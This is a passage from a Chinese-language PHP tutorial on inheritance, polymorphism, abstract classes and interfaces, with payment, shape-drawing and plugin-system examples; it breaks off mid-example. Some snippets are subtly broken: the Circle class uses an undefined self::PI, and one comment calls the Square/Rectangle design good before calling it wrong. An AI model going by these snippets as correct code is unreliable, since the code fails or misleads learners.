
echo "\n=== 员工薪资信息 ===\n";

// 显示所有员工信息
$employees = [$manager, $salesperson, $technician];

foreach ($employees as $employee) {
    $info = $employee->getEmployeeInfo();
    echo "ID: {$info['id']}\n";
    echo "姓名: {$info['name']}\n";
    echo "类型: {$info['type']}\n";
    echo "基础工资: {$employee->baseSalary}\n";
    echo "实际工资: {$info['salary']}\n";

    if (isset($info['department'])) {
        echo "部门: {$info['department']}\n";
    }

    if (isset($info['sales_amount'])) {
        echo "销售额: {$info['sales_amount']}\n";
        echo "提成: {$info['commission']}\n";
    }

    if (isset($info['skill_level'])) {
        echo "技能等级: {$info['skill_level']}\n";
    }

    echo "----------------\n";
}
?>

继承的优点和注意事项

继承的优点

  1. 代码重用:子类可以重用父类的代码
  2. 逻辑清晰:建立清晰的类层次结构
  3. 易于维护:修改父类可以影响所有子类
  4. 扩展性好:可以轻松添加新的子类

继承的注意事项

<?php
// 1. 单继承限制:PHP只支持单继承
class A {}
class B {}
class C extends A {}  // ✅ 正确
// class D extends A, B {}  // ❌ 错误,不能多继承

// 2. 构造函数链:记得调用父类构造函数
class ParentClass {
    protected $value;
    public function __construct($value) {
        $this->value = $value;
    }
}

class ChildClass extends ParentClass {
    public function __construct($value) {
        parent::__construct($value);  // 不要忘记调用
    }
}

// 3. 方法重写时保持兼容性
class Bird {
    public function fly() {
        return "鸟在飞";
    }
}

class Penguin extends Bird {
    // 重写方法时要考虑逻辑一致性
    public function fly() {
        return "企鹅不能飞,但会游泳";
    }
}

// 4. 避免过深的继承层次
// 太深的继承会难以理解和维护
// 一般建议继承层次不超过3-4层
?>

继承与组合

有时候,使用组合比继承更合适:

<?php
// 继承的方式
class CarWithInheritance extends Vehicle {
    private $engine;

    public function __construct() {
        $this->engine = new Engine();  // 组合
    }

    public function start() {
        $this->engine->start();  // 使用组合对象
        parent::start();
    }
}

// 组合的方式
class CarWithComposition {
    private $vehicle;
    private $engine;

    public function __construct() {
        $this->vehicle = new Vehicle();
        $this->engine = new Engine();
    }

    public function start() {
        $this->engine->start();
        return $this->vehicle->start();
    }
}

// 选择原则:
// - IS-A关系(是一个):使用继承
// - HAS-A关系(有一个):使用组合
?>

通过本节的学习,你应该掌握了PHP中继承的基本概念和用法。继承是面向对象编程的重要特性,合理使用继承可以让代码更加清晰、可维护和可扩展。

多态

什么是多态

多态(Polymorphism)是面向对象编程的四大特性之一。多态意味着"多种形态",在编程中指的是同一个接口或方法,作用于不同的对象时会产生不同的行为。简单来说,多态允许我们使用父类类型的变量来引用子类的对象,并调用子类重写的方法。

多态的核心概念

  • 多种形态:同一操作作用于不同对象,产生不同的执行结果
  • 动态绑定:在运行时确定调用哪个方法
  • 统一接口:通过统一接口处理不同类型的对象
  • 代码灵活性:编写更通用、可扩展的代码

多态的实现方式

1. 通过继承实现多态

<?php
// 基类
class Animal {
    protected $name;

    public function __construct($name) {
        $this->name = $name;
    }

    // 定义通用的发声方法
    public function makeSound() {
        return "动物发出声音";
    }

    public function eat() {
        return "{$this->name} 正在吃东西";
    }
}

// 子类1:狗
class Dog extends Animal {
    public function makeSound() {
        return "{$this->name} 汪汪叫";
    }

    public function fetch() {
        return "{$this->name} 正在捡球";
    }
}

// 子类2:猫
class Cat extends Animal {
    public function makeSound() {
        return "{$this->name} 喵喵叫";
    }

    public function climb() {
        return "{$this->name} 正在爬树";
    }
}

// 子类3:鸟
class Bird extends Animal {
    public function makeSound() {
        return "{$this->name} 叽叽喳喳叫";
    }

    public function fly() {
        return "{$this->name} 正在飞翔";
    }
}

// 多态函数:可以处理任何Animal类型的对象
function makeAnimalSound(Animal $animal) {
    echo $animal->makeSound() . "\n";
}

function letAnimalPerform(Animal $animal) {
    echo $animal->makeSound() . "\n";
    echo $animal->eat() . "\n";

    // 使用instanceof检查具体类型,调用特定方法
    if ($animal instanceof Dog) {
        echo $animal->fetch() . "\n";
    } elseif ($animal instanceof Cat) {
        echo $animal->climb() . "\n";
    } elseif ($animal instanceof Bird) {
        echo $animal->fly() . "\n";
    }
    echo "---\n";
}

// 创建不同的动物对象
$animals = [
    new Dog("旺财"),
    new Cat("咪咪"),
    new Bird("小黄")
];

// 演示多态
echo "=== 动物叫声 ===\n";
foreach ($animals as $animal) {
    makeAnimalSound($animal);
}

echo "\n=== 动物表演 ===\n";
foreach ($animals as $animal) {
    letAnimalPerform($animal);
}
?>

2. 通过接口实现多态

<?php
// 定义支付接口
interface PaymentInterface {
    public function processPayment($amount);
    public function getPaymentStatus();
    public function refund($amount);
}

// 信用卡支付实现
class CreditCardPayment implements PaymentInterface {
    private $cardNumber;
    private $status = 'pending';

    public function __construct($cardNumber) {
        $this->cardNumber = $cardNumber;
    }

    public function processPayment($amount) {
        echo "使用信用卡 {$this->cardNumber} 支付 ¥{$amount}\n";
        $this->status = 'completed';
        return true;
    }

    public function getPaymentStatus() {
        return $this->status;
    }

    public function refund($amount) {
        echo "退款 ¥{$amount} 到信用卡 {$this->cardNumber}\n";
        $this->status = 'refunded';
        return true;
    }
}

// 支付宝支付实现
class AlipayPayment implements PaymentInterface {
    private $accountId;
    private $status = 'pending';

    public function __construct($accountId) {
        $this->accountId = $accountId;
    }

    public function processPayment($amount) {
        echo "使用支付宝账号 {$this->accountId} 支付 ¥{$amount}\n";
        $this->status = 'completed';
        return true;
    }

    public function getPaymentStatus() {
        return $this->status;
    }

    public function refund($amount) {
        echo "退款 ¥{$amount} 到支付宝账号 {$this->accountId}\n";
        $this->status = 'refunded';
        return true;
    }
}

// 微信支付实现
class WechatPayment implements PaymentInterface {
    private $openId;
    private $status = 'pending';

    public function __construct($openId) {
        $this->openId = $openId;
    }

    public function processPayment($amount) {
        echo "使用微信 {$this->openId} 支付 ¥{$amount}\n";
        $this->status = 'completed';
        return true;
    }

    public function getPaymentStatus() {
        return $this->status;
    }

    public function refund($amount) {
        echo "退款 ¥{$amount} 到微信账号 {$this->openId}\n";
        $this->status = 'refunded';
        return true;
    }
}

// 支付处理器类(使用多态)
class PaymentProcessor {
    private $paymentMethods = [];

    // 添加支付方式
    public function addPaymentMethod(PaymentInterface $paymentMethod) {
        $this->paymentMethods[] = $paymentMethod;
    }

    // 处理支付
    public function processAllPayments($amount) {
        foreach ($this->paymentMethods as $paymentMethod) {
            if ($paymentMethod->processPayment($amount)) {
                echo "支付成功!状态:" . $paymentMethod->getPaymentStatus() . "\n";
            } else {
                echo "支付失败!\n";
            }
        }
    }

    // 处理退款
    public function processAllRefunds($amount) {
        foreach ($this->paymentMethods as $paymentMethod) {
            if ($paymentMethod->refund($amount)) {
                echo "退款成功!状态:" . $paymentMethod->getPaymentStatus() . "\n";
            }
        }
    }
}

// 使用示例
echo "=== 支付系统演示 ===\n\n";

$processor = new PaymentProcessor();

// 添加不同的支付方式
$processor->addPaymentMethod(new CreditCardPayment("1234-5678-9012-3456"));
$processor->addPaymentMethod(new AlipayPayment("user@example.com"));
$processor->addPaymentMethod(new WechatPayment("wx_openid_123456"));

// 处理支付
echo "--- 处理支付 ---\n";
$processor->processAllPayments(100);

echo "\n--- 处理退款 ---\n";
$processor->processAllRefunds(50);
?>

多态的实际应用:图形绘制系统

<?php
// 定义图形接口
interface ShapeInterface {
    public function draw();
    public function getArea();
    public function getPerimeter();
    public function resize($factor);
}

// 基础图形类
abstract class Shape implements ShapeInterface {
    protected $color;
    protected $x;
    protected $y;

    public function __construct($color = 'black', $x = 0, $y = 0) {
        $this->color = $color;
        $this->x = $x;
        $this->y = $y;
    }

    public function move($newX, $newY) {
        $this->x = $newX;
        $this->y = $newY;
        echo "图形移动到位置 ({$newX}, {$newY})\n";
    }

    abstract public function draw();
    abstract public function getArea();
    abstract public function getPerimeter();
    abstract public function resize($factor);
}

// 圆形类
class Circle extends Shape {
    private $radius;

    public function __construct($radius, $color = 'red', $x = 0, $y = 0) {
        parent::__construct($color, $x, $y);
        $this->radius = $radius;
    }

    public function draw() {
        echo "绘制一个半径为{$this->radius}的{$this->color}色圆形,位置({$this->x}, {$this->y})\n";
    }

    public function getArea() {
        return pi() * $this->radius * $this->radius;
    }

    public function getPerimeter() {
        return 2 * pi() * $this->radius;
    }

    public function resize($factor) {
        $this->radius *= $factor;
        echo "圆形缩放{$factor}倍,新半径:{$this->radius}\n";
    }
}

// 矩形类
class Rectangle extends Shape {
    private $width;
    private $height;

    public function __construct($width, $height, $color = 'blue', $x = 0, $y = 0) {
        parent::__construct($color, $x, $y);
        $this->width = $width;
        $this->height = $height;
    }

    public function draw() {
        echo "绘制一个{$this->width}x{$this->height}的{$this->color}色矩形,位置({$this->x}, {$this->y})\n";
    }

    public function getArea() {
        return $this->width * $this->height;
    }

    public function getPerimeter() {
        return 2 * ($this->width + $this->height);
    }

    public function resize($factor) {
        $this->width *= $factor;
        $this->height *= $factor;
        echo "矩形缩放{$factor}倍,新尺寸:{$this->width}x{$this->height}\n";
    }
}

// 三角形类
class Triangle extends Shape {
    private $side1;
    private $side2;
    private $side3;

    public function __construct($side1, $side2, $side3, $color = 'green', $x = 0, $y = 0) {
        parent::__construct($color, $x, $y);
        $this->side1 = $side1;
        $this->side2 = $side2;
        $this->side3 = $side3;
    }

    public function draw() {
        echo "绘制一个边长为{$this->side1}, {$this->side2}, {$this->side3}的{$this->color}色三角形,位置({$this->x}, {$this->y})\n";
    }

    public function getArea() {
        // 使用海伦公式计算面积
        $s = ($this->side1 + $this->side2 + $this->side3) / 2;
        return sqrt($s * ($s - $this->side1) * ($s - $this->side2) * ($s - $this->side3));
    }

    public function getPerimeter() {
        return $this->side1 + $this->side2 + $this->side3;
    }

    public function resize($factor) {
        $this->side1 *= $factor;
        $this->side2 *= $factor;
        $this->side3 *= $factor;
        echo "三角形缩放{$factor}倍,新边长:{$this->side1}, {$this->side2}, {$this->side3}\n";
    }
}

// 图形绘制管理器
class DrawingManager {
    private $shapes = [];

    // 添加图形
    public function addShape(ShapeInterface $shape) {
        $this->shapes[] = $shape;
    }

    // 绘制所有图形
    public function drawAll() {
        echo "=== 绘制所有图形 ===\n";
        foreach ($this->shapes as $shape) {
            $shape->draw();
        }
    }

    // 移动所有图形
    public function moveAll($newX, $newY) {
        echo "\n=== 移动所有图形 ===\n";
        foreach ($this->shapes as $shape) {
            $shape->move($newX, $newY);
        }
    }

    // 缩放所有图形
    public function resizeAll($factor) {
        echo "\n=== 缩放所有图形 ===\n";
        foreach ($this->shapes as $shape) {
            $shape->resize($factor);
        }
    }

    // 计算总面积
    public function getTotalArea() {
        $totalArea = 0;
        foreach ($this->shapes as $shape) {
            $totalArea += $shape->getArea();
        }
        return $totalArea;
    }

    // 显示所有图形信息
    public function showShapeInfo() {
        echo "\n=== 图形信息 ===\n";
        foreach ($this->shapes as $index => $shape) {
            echo "图形 " . ($index + 1) . ":\n";
            echo "  面积: " . round($shape->getArea(), 2) . "\n";
            echo "  周长: " . round($shape->getPerimeter(), 2) . "\n";
        }
        echo "总面积: " . round($this->getTotalArea(), 2) . "\n";
    }
}

// 使用示例
$manager = new DrawingManager();

// 添加不同类型的图形
$manager->addShape(new Circle(5, 'red'));
$manager->addShape(new Rectangle(4, 6, 'blue'));
$manager->addShape(new Triangle(3, 4, 5, 'green'));
$manager->addShape(new Circle(3, 'yellow', 10, 20));

// 演示多态操作
$manager->drawAll();
$manager->moveAll(100, 100);
$manager->resizeAll(1.5);
$manager->showShapeInfo();
?>

多态的高级应用:插件系统

<?php
// 插件接口
interface PluginInterface {
    public function getName();
    public function getVersion();
    public function getDescription();
    public function execute($data);
    public function isEnabled();
    public function setEnabled($enabled);
}

// 基础插件类
abstract class BasePlugin implements PluginInterface {
    protected $name;
    protected $version;
    protected $description;
    protected $enabled = true;

    public function __construct($name, $version, $description) {
        $this->name = $name;
        $this->version = $version;
        $this->description = $description;
    }

    public function getName() {
        return $this->name;
    }

    public function getVersion() {
        return $this->version;
    }

    public function getDescription() {
        return $this->description;
    }

    public function isEnabled() {
        return $this->enabled;
    }

    public function setEnabled($enabled) {
        $this->enabled = $enabled;
    }

    abstract public function execute($data);
}

// 日志插件
class LoggerPlugin extends BasePlugin {
    private $logFile;

    public function __construct() {
        parent::__construct("日志插件", "1.0.0", "记录操作日志");
        $this->logFile = 'application.log';
    }

    public function execute($data) {
        if (!$this->isEnabled()) return;

        $timestamp = date('Y-m-d H:i:s');
        $logEntry = "[{$timestamp}] {$data}\n";
        file_put_contents($this->logFile, $logEntry, FILE_APPEND);
        echo "日志已记录:{$data}\n";
    }
}

// 缓存插件
class CachePlugin extends BasePlugin {
    private $cache = [];

    public function __construct() {
        parent::__construct("缓存插件", "2.1.0", "提供数据缓存功能");
    }

    public function execute($data) {
        if (!$this->isEnabled()) return $data;

        $key = md5(serialize($data));

        if (isset($this->cache[$key])) {
            echo "从缓存获取数据\n";
            return $this->cache[$key];
        }

        $processedData = $this->processData($data);
        $this->cache[$key] = $processedData;
        echo "数据已缓存\n";
        return $processedData;
    }

    private function processData($data) {
        // 模拟数据处理
        return "处理后的数据: " . $data;
    }

    public function clearCache() {
        $this->cache = [];
        echo "缓存已清空\n";
    }
}

// 安全检查插件
class SecurityPlugin extends BasePlugin {
    private $forbiddenWords = ['password', 'secret', 'token'];

    public function __construct() {
        parent::__construct("安全检查插件", "1.5.0", "检查敏感词汇");
    }

    public function execute($data) {
        if (!$this->isEnabled()) return $data;

        foreach ($this->forbiddenWords as $word) {
            if (stripos($data, $word) !== false) {
                echo "警告:检测到敏感词汇 '{$word}'\n";
                return str_ireplace($word, '***', $data);
            }
        }

        echo "安全检查通过\n";
        return $data;
    }
}

// 插件管理器
class PluginManager {
    private $plugins = [];

    // 注册插件
    public function registerPlugin(PluginInterface $plugin) {
        $this->plugins[] = $plugin;
        echo "插件已注册:{$plugin->getName()} v{$plugin->getVersion()}\n";
    }

    // 执行所有插件
    public function executePlugins($data) {
        echo "\n=== 执行插件处理 ===\n";
        $result = $data;

        foreach ($this->plugins as $plugin) {
            if ($plugin->isEnabled()) {
                echo "执行插件:{$plugin->getName()}\n";
                $result = $plugin->execute($result);
            }
        }

        return $result;
    }

    // 列出所有插件
    public function listPlugins() {
        echo "\n=== 插件列表 ===\n";
        foreach ($this->plugins as $plugin) {
            $status = $plugin->isEnabled() ? '启用' : '禁用';
            echo "名称: {$plugin->getName()}\n";
            echo "版本: {$plugin->getVersion()}\n";
            echo "描述: {$plugin->getDescription()}\n";
            echo "状态: {$status}\n";
            echo "---\n";
        }
    }

    // 启用/禁用插件
    public function togglePlugin($pluginName, $enabled) {
        foreach ($this->plugins as $plugin) {
            if ($plugin->getName() === $pluginName) {
                $plugin->setEnabled($enabled);
                $status = $enabled ? '启用' : '禁用';
                echo "插件 {$pluginName} 已{$status}\n";
                return true;
            }
        }
        echo "未找到插件: {$pluginName}\n";
        return false;
    }
}

// 使用示例
echo "=== 插件系统演示 ===\n";

$pluginManager = new PluginManager();

// 注册插件
$pluginManager->registerPlugin(new LoggerPlugin());
$pluginManager->registerPlugin(new CachePlugin());
$pluginManager->registerPlugin(new SecurityPlugin());

// 列出插件
$pluginManager->listPlugins();

// 执行插件
$data = "用户输入的敏感数据包含password信息";
$result = $pluginManager->executePlugins($data);
echo "\n最终结果: {$result}\n";

// 禁用安全插件
$pluginManager->togglePlugin("安全检查插件", false);
$result2 = $pluginManager->executePlugins("这个数据没有敏感词");
echo "\n禁用安全插件后的结果: {$result2}\n";
?>

多态的优势

1. 代码复用和扩展性

<?php
// 不使用多态的硬编码方式
function processPayment_V1($type, $amount) {
    if ($type === 'credit') {
        // 信用卡处理逻辑
        echo "处理信用卡支付\n";
    } elseif ($type === 'alipay') {
        // 支付宝处理逻辑
        echo "处理支付宝支付\n";
    } elseif ($type === 'wechat') {
        // 微信支付处理逻辑
        echo "处理微信支付\n";
    }
    // 添加新支付方式需要修改这个函数
}

// 使用多态的灵活方式
function processPayment_V2(PaymentInterface $payment, $amount) {
    $payment->processPayment($amount);
    // 添加新支付方式不需要修改这个函数
}
?>

2. 解耦和灵活性

多态减少了代码之间的耦合度,使系统更加灵活:

<?php
// 数据处理器接口
interface DataProcessorInterface {
    public function process($data);
}

// 处理器管理器
class ProcessorManager {
    private $processors = [];

    public function addProcessor(DataProcessorInterface $processor) {
        $this->processors[] = $processor;
    }

    public function processAll($data) {
        foreach ($this->processors as $processor) {
            $data = $processor->process($data);
        }
        return $data;
    }
}

// 可以随时添加新的处理器,而不需要修改管理器
?>

多态与类型检查

instanceof操作符

<?php
function handleAnimal(Animal $animal) {
    echo "处理动物: " . get_class($animal) . "\n";

    // 使用instanceof检查具体类型
    if ($animal instanceof Dog) {
        $animal->fetch();
    } elseif ($animal instanceof Cat) {
        $animal->climb();
    } else {
        // 处理其他类型的动物
        $animal->makeSound();
    }
}
?>

类型提示和返回类型

<?php
class ShapeFactory {
    public static function createShape(string $type): ShapeInterface {
        switch ($type) {
            case 'circle':
                return new Circle(5);
            case 'rectangle':
                return new Rectangle(4, 6);
            case 'triangle':
                return new Triangle(3, 4, 5);
            default:
                throw new Exception("未知的图形类型: $type");
        }
    }
}

// 使用
$shape = ShapeFactory::createShape('circle');
$shape->draw();
?>

多态的最佳实践

1. 遵循里氏替换原则

子类应该能够替换父类,并且程序的行为不会改变:

<?php
// 好的设计:子类完全符合父类的契约
class Rectangle {
    public function setWidth($width) { /* ... */ }
    public function setHeight($height) { /* ... */ }
    public function getArea() { /* ... */ }
}

class Square extends Rectangle {
    // 正方形需要同时设置宽和高
    public function setWidth($width) {
        parent::setWidth($width);
        parent::setHeight($width);
    }

    public function setHeight($height) {
        parent::setWidth($height);
        parent::setHeight($height);
    }
}

// 这里Square不能完全替代Rectangle,因为行为不同
// 更好的做法是使用共同接口而不是继承
?>

2. 优先使用接口而不是具体类

<?php
// 好的做法:依赖接口
class ReportGenerator {
    public function generate(DataExporterInterface $exporter) {
        $data = $this->collectData();
        return $exporter->export($data);
    }
}

// 而不是依赖具体类
class ReportGenerator_Bad {
    public function generate(PDFExporter $exporter) {  // 限制了扩展性
        $data = $this->collectData();
        return $exporter->export($data);
    }
}
?>

3. 避免过度使用instanceof

过多的类型检查可能表明设计有问题:

<?php
// 避免:过多的类型检查
function processShape(Shape $shape) {
    if ($shape instanceof Circle) {
        // 处理圆形
    } elseif ($shape instanceof Rectangle) {
        // 处理矩形
    } elseif ($shape instanceof Triangle) {
        // 处理三角形
    }
}

// 更好:在子类中实现特定行为
abstract class Shape {
    abstract public function process();
}

class Circle extends Shape {
    public function process() {
        // 圆形特有的处理逻辑
    }
}
?>

通过本节的学习,你应该掌握了多态的概念、实现方式和应用场景。多态是面向对象编程的重要特性,它让代码更加灵活、可扩展和易于维护。在实际开发中,合理使用多态可以大大提高代码的质量和可维护性。

抽象类与接口

抽象类(Abstract Class)

什么是抽象类

抽象类是一种不能被实例化的类,它专门用作父类来定义子类的通用结构。抽象类可以包含抽象方法(没有具体实现的方法)和具体方法(有实现的方法)。

抽象类的特点

  • 不能实例化:不能使用 new 关键字创建抽象类的对象
  • 包含抽象方法:使用 abstract 关键字定义的方法,没有方法体
  • 包含具体方法:可以有完整实现的方法
  • 必须被继承:子类必须实现所有抽象方法
  • 可以有属性:可以定义各种访问级别的属性
  • 可以有构造函数:子类可以调用父类的构造函数

定义抽象类

<?php
// 定义抽象类
abstract class Animal {
    // 属性
    protected $name;
    protected $age;
    protected $species;

    // 构造函数
    public function __construct($name, $age, $species) {
        $this->name = $name;
        $this->age = $age;
        $this->species = $species;
        echo "创建了一个{$this->species}:{$this->name}\n";
    }

    // 具体方法(有实现)
    public function eat() {
        return "{$this->name} 正在吃东西";
    }

    public function sleep() {
        return "{$this->name} 正在睡觉";
    }

    public function getInfo() {
        return "这是一只{$this->age}岁的{$this->species},名字叫{$this->name}";
    }

    // 抽象方法(没有实现,必须在子类中实现)
    abstract public function makeSound();
    abstract public function move();

    // 可以有静态方法
    public static function getKingdom() {
        return "动物界";
    }
}
?>

继承抽象类

<?php
// 继承抽象类并实现所有抽象方法
class Dog extends Animal {
    private $breed;

    public function __construct($name, $age, $breed) {
        parent::__construct($name, $age, "狗");
        $this->breed = $breed;
    }

    // 实现抽象方法
    public function makeSound() {
        return "{$this->name} 汪汪叫";
    }

    public function move() {
        return "{$this->name} 正在奔跑";
    }

    // 子类特有方法
    public function fetch() {
        return "{$this->name} 正在捡球";
    }

    public function wagTail() {
        return "{$this->name} 正在摇尾巴";
    }
}

class Cat extends Animal {
    private $color;

    public function __construct($name, $age, $color) {
        parent::__construct($name, $age, "猫");
        $this->color = $color;
    }

    // 实现抽象方法
    public function makeSound() {
        return "{$this->name} 喵喵叫";
    }

    public function move() {
        return "{$this->name} 正在优雅地走路";
    }

    // 子类特有方法
    public function climb() {
        return "{$this->name} 正在爬树";
    }

    public function purr() {
        return "{$this->name} 发出呼噜声";
    }
}

// 使用示例
echo "=== 动物演示 ===\n";

// 创建子类对象(不能直接创建抽象类对象)
$dog = new Dog("旺财", 3, "金毛");
$cat = new Cat("咪咪", 2, "橘色");

// 调用方法
echo $dog->eat() . "\n";        // 具体方法
echo $dog->makeSound() . "\n";  // 实现的抽象方法
echo $dog->move() . "\n";       // 实现的抽象方法
echo $dog->fetch() . "\n";      // 子类特有方法

echo "\n";

echo $cat->eat() . "\n";
echo $cat->makeSound() . "\n";
echo $cat->move() . "\n";
echo $cat->climb() . "\n";

echo "\n";
echo "动物界:" . Animal::getKingdom() . "\n";

// ❌ 错误:不能实例化抽象类
// $animal = new Animal("动物", 5, "未知");  // Fatal error
?>

接口(Interface)

什么是接口

接口是一种完全抽象的结构,它定义了一组方法契约但不提供实现。接口规定了实现类必须提供哪些方法,但具体如何实现由类自己决定。

接口的特点

  • 完全抽象:所有方法都是抽象的(不需要 abstract 关键字)
  • 多重实现:一个类可以实现多个接口
  • 方法规范:只定义方法签名,不包含方法体
  • 常量支持:可以定义常量(自动为 public static final)
  • 不能有属性:接口不能定义实例属性
  • 不能有构造函数:接口不能定义构造函数

定义接口

<?php
// 定义接口
interface Drawable {
    // 接口中的方法都是抽象的,不需要 abstract 关键字
    public function draw();
    public function getArea();
    public function getPerimeter();
}

// 可以定义常量
interface ShapeConstants {
    const PI = 3.14159;
    const GOLDEN_RATIO = 1.618;
}

// 另一个接口
interface Movable {
    public function move($x, $y);
    public function getPosition();
}

// 可以继承接口
interface Resizable extends Drawable {
    public function resize($scale);
    public function scale($factorX, $factorY);
}
?>

实现接口

<?php
// 实现单个接口
class Circle implements Drawable {
    private $radius;
    private $x = 0;
    private $y = 0;

    public function __construct($radius, $x = 0, $y = 0) {
        $this->radius = $radius;
        $this->x = $x;
        $this->y = $y;
    }

    // 必须实现接口中的所有方法
    public function draw() {
        echo "绘制一个半径为{$this->radius}的圆形,位置({$this->x}, {$this->y})\n";
    }

    public function getArea() {
        return self::PI * $this->radius * $this->radius;  // 使用常量
    }

    public function getPerimeter() {
        return 2 * self::PI * $this->radius;
    }
}

// 实现多个接口
class Rectangle implements Drawable, Movable {
    private $width;
    private $height;
    private $x = 0;
    private $y = 0;

    public function __construct($width, $height, $x = 0, $y = 0) {
        $this->width = $width;
        $this->height = $height;
        $this->x = $x;
        $this->y = $y;
    }

    // 实现 Drawable 接口
    public function draw() {
        echo "绘制一个{$this->width}x{$this->height}的矩形,位置({$this->x}, {$this->y})\n";
    }

    public function getArea() {
        return $this->width * $this->height;
    }

    public function getPerimeter() {
        return 2 * ($this->width + $this->height);
    }

    // 实现 Movable 接口
    public function move($x, $y) {
        $this->x = $x;
        $this->y = $y;
        echo "矩形移动到位置({$x}, {$y})\n";
    }

    public function getPosition() {
        return "当前位置:({$this->x}, {$this->y})";
    }
}

// 实现继承接口
class Triangle implements Resizable {
    private $side1;
    private $side2;
    private $side3;

    public function __construct($side1, $side2, $side3) {
        $this->side1 = $side1;
        $this->side2 = $side2;
        $this->side3 = $side3;
    }

    // 实现 Drawable 接口方法
    public function draw() {
        echo "绘制一个边长为{$this->side1}, {$this->side2}, {$this->side3}的三角形\n";
    }

    public function getArea() {
        // 使用海伦公式
        $s = ($this->side1 + $this->side2 + $this->side3) / 2;
        return sqrt($s * ($s - $this->side1) * ($s - $this->side2) * ($s - $this->side3));
    }

    public function getPerimeter() {
        return $this->side1 + $this->side2 + $this->side3;
    }

    // 实现 Resizable 接口方法
    public function resize($scale) {
        $this->side1 *= $scale;
        $this->side2 *= $scale;
        $this->side3 *= $scale;
        echo "三角形缩放{$scale}倍\n";
    }

    public function scale($factorX, $factorY) {
        // 对于三角形,使用平均缩放因子
        $avgFactor = ($factorX + $factorY) / 2;
        $this->resize($avgFactor);
    }
}

// 使用示例
echo "=== 图形演示 ===\n";

$circle = new Circle(5, 10, 20);
$circle->draw();
echo "面积:" . round($circle->getArea(), 2) . "\n";
echo "周长:" . round($circle->getPerimeter(), 2) . "\n";

echo "\n";

$rectangle = new Rectangle(4, 6);
$rectangle->draw();
echo $rectangle->getPosition() . "\n";
$rectangle->move(100, 100);
echo $rectangle->getPosition() . "\n";

echo "\n";

$triangle = new Triangle(3, 4, 5);
$triangle->draw();
echo "面积:" . round($triangle->getArea(), 2) . "\n";
$triangle->resize(2);
echo "缩放后面积:" . round($triangle->getArea(), 2) . "\n";
?>

抽象类与接口的区别

主要区别对比

特性抽象类接口
实例化不能实例化不能实例化
方法实现可以有具体方法只有抽象方法
属性可以有各种属性只能有常量
构造函数可以有不能有
继承单继承(extends)多实现(implements)
访问修饰符可以用各种修饰符只能是 public
用途定义通用模板定义行为契约

代码示例对比

<?php
// 抽象类示例
abstract class Vehicle {
    protected $brand;
    protected $model;

    // 可以有属性
    public function __construct($brand, $model) {
        $this->brand = $brand;
        $this->model = $model;
    }

    // 可以有具体方法
    public function start() {
        echo "启动 {$this->brand} {$this->model}\n";
    }

    public function stop() {
        echo "停止 {$this->brand} {$this->model}\n";
    }

    // 抽象方法
    abstract public function accelerate();
    abstract public function brake();
}

// 接口示例
interface ElectricVehicle {
    public function charge();
    public function getBatteryLevel();
}

interface AutonomousVehicle {
    public function enableAutopilot();
    public function setDestination($destination);
}

// 继承抽象类并实现多个接口
class Tesla extends Vehicle implements ElectricVehicle, AutonomousVehicle {
    private $batteryLevel = 100;

    public function __construct($model) {
        parent::__construct("Tesla", $model);
    }

    // 实现抽象类的方法
    public function accelerate() {
        echo "Tesla {$this->model} 加速中(静音)\n";
    }

    public function brake() {
        echo "Tesla {$this->model} 刹车中(能量回收)\n";
    }

    // 实现 ElectricVehicle 接口
    public function charge() {
        echo "Tesla {$this->model} 正在充电\n";
        $this->batteryLevel = 100;
    }

    public function getBatteryLevel() {
        return $this->batteryLevel;
    }

    // 实现 AutonomousVehicle 接口
    public function enableAutopilot() {
        echo "Tesla {$this->model} 自动驾驶已启用\n";
    }

    public function setDestination($destination) {
        echo "设置目的地:{$destination}\n";
    }

    // 特有方法
    public function summon() {
        echo "Tesla {$this->model} 召唤功能启动\n";
    }
}

// 使用示例
echo "=== 电动汽车演示 ===\n";

$tesla = new Tesla("Model S");

// 继承的方法
$tesla->start();
$tesla->accelerate();
$tesla->brake();
$tesla->stop();

echo "\n";

// 接口方法
echo "电池电量:" . $tesla->getBatteryLevel() . "%\n";
$tesla->charge();
echo "充电后电量:" . $tesla->getBatteryLevel() . "%\n";

$tesla->enableAutopilot();
$tesla->setDestination("北京天安门");

// 特有方法
$tesla->summon();
?>

实际应用:支付系统设计

使用抽象类定义基础结构

<?php
// 抽象支付基类
abstract class PaymentMethod {
    protected $name;
    protected $transactionId;
    protected $status = 'pending';

    public function __construct($name) {
        $this->name = $name;
        $this->transactionId = $this->generateTransactionId();
    }

    // 具体方法:通用功能
    protected function generateTransactionId() {
        return uniqid('TXN_', true);
    }

    public function getTransactionId() {
        return $this->transactionId;
    }

    public function getStatus() {
        return $this->status;
    }

    protected function setStatus($status) {
        $this->status = $status;
    }

    // 模板方法:定义支付流程
    public function processPayment($amount) {
        $this->validateAmount($amount);
        $this->beforePayment($amount);
        $result = $this->doPayment($amount);
        $this->afterPayment($result);
        return $result;
    }

    protected function validateAmount($amount) {
        if ($amount <= 0) {
            throw new Exception("支付金额必须大于0");
        }
    }

    // 钩子方法:子类可以重写
    protected function beforePayment($amount) {
        echo "准备使用{$this->name}支付 ¥{$amount}\n";
    }

    protected function afterPayment($result) {
        if ($result) {
            $this->setStatus('completed');
            echo "{$this->name}支付成功\n";
        } else {
            $this->setStatus('failed');
            echo "{$this->name}支付失败\n";
        }
    }

    // 抽象方法:子类必须实现
    abstract protected function doPayment($amount);
    abstract public function refund($amount);
}

// 接口:定义额外功能
interface Refundable {
    public function canRefund();
    public function getRefundPolicy();
}

interface SupportsInstallment {
    public function getInstallmentOptions($amount);
    public function payWithInstallment($amount, $months);
}

// 具体实现
class CreditCardPayment extends PaymentMethod implements Refundable, SupportsInstallment {
    private $cardNumber;
    private $limit;

    public function __construct($cardNumber, $limit) {
        parent::__construct("信用卡");
        $this->cardNumber = $cardNumber;
        $this->limit = $limit;
    }

    protected function doPayment($amount) {
        if ($amount > $this->limit) {
            echo "超出信用卡额度\n";
            return false;
        }
        echo "信用卡 {$this->cardNumber} 扣款 ¥{$amount}\n";
        return true;
    }

    public function refund($amount) {
        if ($this->canRefund()) {
            echo "退款 ¥{$amount} 到信用卡 {$this->cardNumber}\n";
            $this->setStatus('refunded');
            return true;
        }
        return false;
    }

    // 实现 Refundable 接口
    public function canRefund() {
        return $this->getStatus() === 'completed';
    }

    public function getRefundPolicy() {
        return "180天内可全额退款";
    }

    // 实现 SupportsInstallment 接口
    public function getInstallmentOptions($amount) {
        return [
            3 => $amount * 1.02,   // 3期,2%手续费
            6 => $amount * 1.04,   // 6期,4%手续费
            12 => $amount * 1.08   // 12期,8%手续费
        ];
    }

    public function payWithInstallment($amount, $months) {
        $options = $this->getInstallmentOptions($amount);
